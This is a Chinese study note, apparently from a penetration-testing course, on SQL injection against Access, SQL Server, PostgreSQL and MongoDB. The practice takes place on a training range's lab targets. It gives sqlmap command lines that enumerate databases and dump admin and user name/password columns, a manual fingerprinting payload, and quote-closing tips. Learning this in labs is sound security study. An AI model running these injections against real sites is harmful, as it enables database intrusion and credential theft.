第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入


前言(脑图)

  1. 今天主要是数据库类型,对,右上角那块儿在这里插入图片描述

在这里插入图片描述
低权限去数据库去想办法,高权限直接进行操作,总之,前提需要现有注入点注入


正文

Access、mysql、mssql、mongoDB、postgresql、sqlite、oracle、sybase等

1.0. 补充Json注入案例

在这里插入图片描述
SELECT * FROM user WHERE username=“‘{$username}’”;
闭合单引号即可,花括号是json数据来的变量的意思
闭合哪个符号全看sql查询语句怎么写

1.1. 简要学习各种数据库的注入特点

数据库架构组成,数据库高权限操作

Access外,其他数据库大同小异,切市面上较少,和sp

1.2. 简要学习各种注入工具的使用指南

熟悉数据库注入工具的支持库,注入模式,优缺点
Sqlmap,NoSQLAttack,Pangolin等


  1. 各网站的数据库文件存在网站源码下,因此各数据库独立运行互不相关,因此无法跨库操作,并且也缺少一些功能例如文件读写等(.mdb文件)
  2. 数据库配置文件决定网站注入点用户权限
  3. 尝试抓包工具配合注入工具,查看注入语句和注入步骤操作

遗留问题:Access注入时,列名或者表明猜解不到


演示案例

工具链接:

  1. sqlmap超详细笔记+思维导图
  2. NoSQLAttack (支持MongDB)
  3. sqlmap( 拥有更多的自定义功能,更为强大)

数据库结构模式:
Access: (使用范围渐少)
  表名
    列名
      数据
没有information表,因此表名、列名等等都靠暴力拆解


mysql、mssql等:
  数据库名A
    表名
      列名
        数据
  数据库名B
  … …

1. sqlmap+Access

墨者学院:SQL手工注入漏洞测试(Access数据库).

  Access没有information表,数据库名、操作系统等等都无法查询,即只能暴力,access只能猜数据,猜不到就GG.

  判断注入点时,数据库种类多,且测试方式不同,因此还是用工具(工具也会有误差)

  1. 首先尝试Sqlmap,但是一直报错在这里插入图片描述
    在这里插入图片描述
  1. 应该时直接暴力海量尝试 sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --tables 查询所有表在这里插入图片描述
    运行初始就看到了admin表,但是跑完在这里插入图片描述
  1. 尝试爆表内值 sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --dump -T "admin"> 在这里插入图片描述
    在这里插入图片描述

对于墨者靶场这种规模的题目,查询到有admin表以及对应的username和passwd几个关键不如直接手动注入查询,工具跑起来还是困困困


2. Pangolin+Sql-server

墨者学院:SQL手工注入漏洞测试(Sql Server数据库)

每个数据库注入时的区别,每个数据库支持的功能不一样,获取到的权限和可执行操作等不同

  1. Sql-server界面
    在这里插入图片描述
  2. mysql
    在这里插入图片描述
  3. Oracle
    在这里插入图片描述
  1. Information页 版本:数据库名、计算机名、数据库名、管理员最高权限、Sql-server对应root (mysql)、数据库各表名、磁盘、用户组、用户
    在这里插入图片描述

  2. 获取数据页获取数据库信息,表名数据等
    在这里插入图片描述

  3. 文件夹取消的权限可尝试恢复后再执行
    在这里插入图片描述


手工注入

判断数据库类型
and exists (select count(*) from sysobjects)-- 查询sysobject是否存在,特有文件

3. PostgreSQL

墨者学院:SQL手工注入漏洞测试(PostgreSQL数据库)
注入工具判定数据库类型误报的话,

操作步骤:

  1. 查看数据库信息sqlmap http://124.70.71.251:43805/new_list.php?id=1 -v 3在这里插入图片描述

  2. 查看当前数据库用户权限sqlmap http://124.70.71.251:43805/new_list.php?id=1 --privileges 或者 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --is-dba 非管理员的话需要再寻找所有用户以及对应密码更换账号在这里插入图片描述

  3. 查看所有数据库名sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dbs 和当前数据库名 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --current-db在这里插入图片描述在这里插入图片描述

  4. 查看当前数据库所有表名 qlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D "public"在这里插入图片描述

  5. 查看表明的列名 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --columns -D "public" -T "reg_users"在这里插入图片描述

  6. 查看列明对应的值 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dump -C "name,password" -D "public" -T "reg_users"在这里插入图片描述

4. MongoDB

墨者学院:SQL手工注入漏洞测试(MongoDB数据库)

MongoDB常加上python搭建 手工注入

注意网页代码的php语言输出方式,若输出方式相异则显示的信息不全面(tojson) 要么改代码、要么更改数据接收格式。(对于字符串或者Json等echo只显示数据名称,不显示详细数据)

NoSQLAttack工具支持MongoDB:
在这里插入图片描述
修改不动,不理解,后续再修改
在这里插入图片描述


参考链接

墨者刷题笔记
【小迪安全】web安全|渗透测试|网络安全

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值